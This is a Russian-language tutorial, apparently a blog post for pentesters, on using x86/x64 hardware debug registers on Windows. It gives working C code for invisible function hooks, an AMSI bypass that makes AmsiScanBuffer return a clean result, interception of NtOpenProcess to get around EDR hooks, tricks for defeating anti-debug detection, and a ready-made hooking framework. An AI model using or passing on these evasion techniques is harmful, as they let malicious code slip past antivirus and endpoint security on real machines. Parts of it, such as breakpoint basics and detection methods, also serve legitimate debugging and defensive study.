
25
Hardware Breakpoints (аппаратные точки останова) – это мощнейший инструмент, который позволяет не просто отлаживать программы, но и обходить антиотладочные защиты, ставить невидимые хуки и перехватывать системные вызовы – всё это без единого изменения байта в памяти процесса. Разберём от основ до боевых техник.
Теория: DR0–DR7 и как это работает
В процессорах x86/x64 есть 8 отладочных регистров специального назначения – DR0–DR7. Схема простая:
Как только процессор обращается к адресу из DR0–DR3 нужным образом – генерируется исключение EXCEPTION_SINGLE_STEP (INT 1h), и управление уходит в обработчик. Никакого 0xCC в коде, никаких следов — чистая аппаратная магия.
Сравнение software vs hardware breakpoints:
| Параметр | Software (INT3) | Hardware (DR0–DR3) |
|---|---|---|
| Принцип | Вставляет 0xCC в код | Использует регистры CPU |
| Макс. количество | Неограниченно | 4 штуки |
| Изменяет код | ✅ Да | ❌ Нет |
| Тип триггера | Только execute | Execute / Write / Read+Write |
| Видим антиотладке | Через CRC/сканирование памяти | Гораздо сложнее детектировать |
| Применение в хуках | ❌ Нет | ✅ Да |
Как установить: WinAPI + прямая работа с контекстом
Единственный легальный способ на Windows – через GetThreadContext / SetThreadContext или NtGetContextThread / NtSetContextThread. Никакого прямого доступа к DR-регистрам из usermode нет – только через структуру CONTEXT.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 |
#include <windows.h> #include <stdio.h> // Устанавливаем hardware breakpoint на адрес target_addr // type: 0=execute, 1=write, 3=read+write // size: 0=1byte, 1=2byte, 2=8byte, 3=4byte BOOL SetHardwareBreakpoint(HANDLE hThread, LPVOID target_addr, int drx_index, int type, int size) { CONTEXT ctx; ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; if (!GetThreadContext(hThread, &ctx)) return FALSE; // Записываем адрес в DR0–DR3 switch(drx_index) { case 0: ctx.Dr0 = (DWORD64)target_addr; break; case 1: ctx.Dr1 = (DWORD64)target_addr; break; case 2: ctx.Dr2 = (DWORD64)target_addr; break; case 3: ctx.Dr3 = (DWORD64)target_addr; break; default: return FALSE; } // Включаем breakpoint в DR7 (Local Enable bit) ctx.Dr7 |= (1ULL << (drx_index * 2)); // L0/L1/L2/L3 ctx.Dr7 |= ((DWORD64)type << (16 + drx_index * 4)); // тип ctx.Dr7 |= ((DWORD64)size << (18 + drx_index * 4)); // размер return SetThreadContext(hThread, &ctx); } // Снимаем breakpoint BOOL RemoveHardwareBreakpoint(HANDLE hThread, int drx_index) { CONTEXT ctx; ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; GetThreadContext(hThread, &ctx); // Очищаем адрес и биты в DR7 switch(drx_index) { case 0: ctx.Dr0 = 0; break; case 1: ctx.Dr1 = 0; break; case 2: ctx.Dr2 = 0; break; case 3: ctx.Dr3 = 0; break; } ctx.Dr7 &= ~(3ULL << (drx_index * 2)); ctx.Dr7 &= ~(0xFULL << (16 + drx_index * 4)); return SetThreadContext(hThread, &ctx); } |
Боевое применение 1: невидимый хук без патча памяти
Классическая задача – перехватить функцию (например, MessageBoxA) без изменения её байтов, чтобы обойти CRC-проверки антиотладки:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
// Адрес оригинальной функции FARPROC original_func = GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA"); // Наш VEH перехватит вызов и выполнит нужную логику LONG CALLBACK Hook_Handler(EXCEPTION_POINTERS* ei) { if (ei->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) { PCONTEXT ctx = ei->ContextRecord; if (ctx->Dr6 & 0x1) { // DR0 сработал ctx->Dr6 = 0; // Читаем аргументы MessageBoxA со стека/регистров // x64 calling convention: RCX, RDX, R8, R9 LPCSTR text = (LPCSTR)ctx->Rdx; printf("[HOOK] MessageBoxA called: \"%s\"\n", text); // Можно полностью подменить поведение: // ctx->Rip = (DWORD64)our_replacement_func; // Или просто пропустить (skip to ret): // ctx->Rip = *(DWORD64*)ctx->Rsp; ctx->Rsp += 8; return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; } // Установка AddVectoredExceptionHandler(1, Hook_Handler); SetHardwareBreakpoint(GetCurrentThread(), original_func, 0, 0, 0); // execute |
Боевое применение 2: обход AMSI через hardware hook
AMSI (Antimalware Scan Interface) – любимый барьер. Стандартный патч AmsiScanBuffer давно детектируется. Hardware breakpoint – чисто и без следов:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
// Находим AmsiScanBuffer HMODULE amsi = LoadLibraryA("amsi.dll"); FARPROC scan_func = GetProcAddress(amsi, "AmsiScanBuffer"); LONG CALLBACK AMSI_Bypass(EXCEPTION_POINTERS* ei) { if (ei->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) { PCONTEXT ctx = ei->ContextRecord; if (ctx->Dr6 & 0x1 && ctx->Rip == (DWORD64)scan_func) { ctx->Dr6 = 0; // Эмулируем AMSI_RESULT_CLEAN (возвращаем 1 = AMSI_RESULT_NOT_DETECTED) ctx->Rax = 1; // AMSI_RESULT_CLEAN // Прыгаем на ret ctx->Rip = *(DWORD64*)ctx->Rsp; ctx->Rsp += 8; return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; } AddVectoredExceptionHandler(1, AMSI_Bypass); SetHardwareBreakpoint(GetCurrentThread(), scan_func, 0, 0, 0); |
Боевое применение 3: перехват syscall через Nt-функции
Античиты и EDR часто хукают ntdll.dll функции через NtSetContextThread. Хардварный бряк на Nt-функцию позволяет перехватить вызов до попадания в хук EDR и выполнить прямой syscall:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
// Цель — перехватить NtOpenProcess до хука EDR FARPROC NtOpenProc = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtOpenProcess"); LONG CALLBACK Syscall_Hook(EXCEPTION_POINTERS* ei) { if (ei->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) { PCONTEXT ctx = ei->ContextRecord; if (ctx->Dr6 & 0x1) { ctx->Dr6 = 0; // Получаем SSN (syscall number) из оригинального пролога ntdll // mov r10, rcx; mov eax, SSN DWORD ssn = *(DWORD*)((BYTE*)NtOpenProc + 4); printf("[SYSCALL] NtOpenProcess SSN = 0x%X\n", ssn); // Далее — выполнить прямой asm syscall с нужными аргументами // минуя EDR-хук полностью return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; } |
Как антиотладка детектирует hardware BP
Защита тоже не дремлет. Вот основные методы детекта:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
// Метод 1: NtGetContextThread — прямое чтение DR-регистров CONTEXT ctx = { CONTEXT_DEBUG_REGISTERS }; NtGetContextThread(GetCurrentThread(), &ctx); if (ctx.Dr0 || ctx.Dr1 || ctx.Dr2 || ctx.Dr3) { // Обнаружены hardware breakpoints! } // Метод 2: ThreadHideFromDebugger — скрываем поток от отладчика // Это делает NtSetContextThread недоступным для внешних отладчиков NtSetInformationThread(GetCurrentThread(), ThreadHideFromDebugger, NULL, 0); // Метод 3: VMP/Themida хукают DbgUiRemoteBreakin → LdrShutdownProcess // Попытка присоединить отладчик — убивает процесс |
Контрмеры против детекта
| Детект защиты | Обход |
|---|---|
NtGetContextThread читает DR | Перехватить саму NtGetContextThread через HW BP и подменить возвращаемый контекст (обнулить DR поля) |
ThreadHideFromDebugger | Ставь BP до вызова этой функции, или используй отдельный поток |
Хук DbgUiRemoteBreakin | Инжекть свой VEH-обработчик напрямую, без аттача отладчика |
| Проверка EFLAGS.TF | HW BP не выставляет TF – в отличие от single-step trace |
Готовый инструмент: минимальный HW-BP фреймворк
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
// hwbp.h — мини-фреймворк для hardware breakpoints typedef LONG(CALLBACK* BP_CALLBACK)(PCONTEXT ctx, int drx_index); typedef struct { PVOID address; int type; // 0=exec, 1=write, 3=r+w int size; // 0=1, 1=2, 2=8, 3=4 bytes int drx; // 0-3 BP_CALLBACK callback; } HW_BREAKPOINT; #define MAX_BP 4 static HW_BREAKPOINT bp_table[MAX_BP] = {0}; LONG CALLBACK Master_VEH(EXCEPTION_POINTERS* ei) { if (ei->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP) return EXCEPTION_CONTINUE_SEARCH; PCONTEXT ctx = ei->ContextRecord; for (int i = 0; i < MAX_BP; i++) { if ((ctx->Dr6 & (1 << i)) && bp_table[i].callback) { ctx->Dr6 &= ~(1 << i); return bp_table[i].callback(ctx, i); } } return EXCEPTION_CONTINUE_SEARCH; } void hwbp_init() { AddVectoredExceptionHandler(1, Master_VEH); } BOOL hwbp_set(int drx, PVOID addr, int type, int size, BP_CALLBACK cb) { if (drx < 0 || drx > 3) return FALSE; bp_table[drx] = (HW_BREAKPOINT){ addr, type, size, drx, cb }; return SetHardwareBreakpoint(GetCurrentThread(), addr, drx, type, size); } |
Итог для пентестера
Hardware breakpoints – это Swiss Army Knife для обхода защит, потому что работают ниже уровня антиотладки: они не трогают байты в памяти, не поднимают флаги CRC-проверок и позволяют перехватить буквально любую функцию в любом модуле. Четыре регистра – это всё, что тебе нужно, чтобы распутать даже серьёзно упакованный протектор.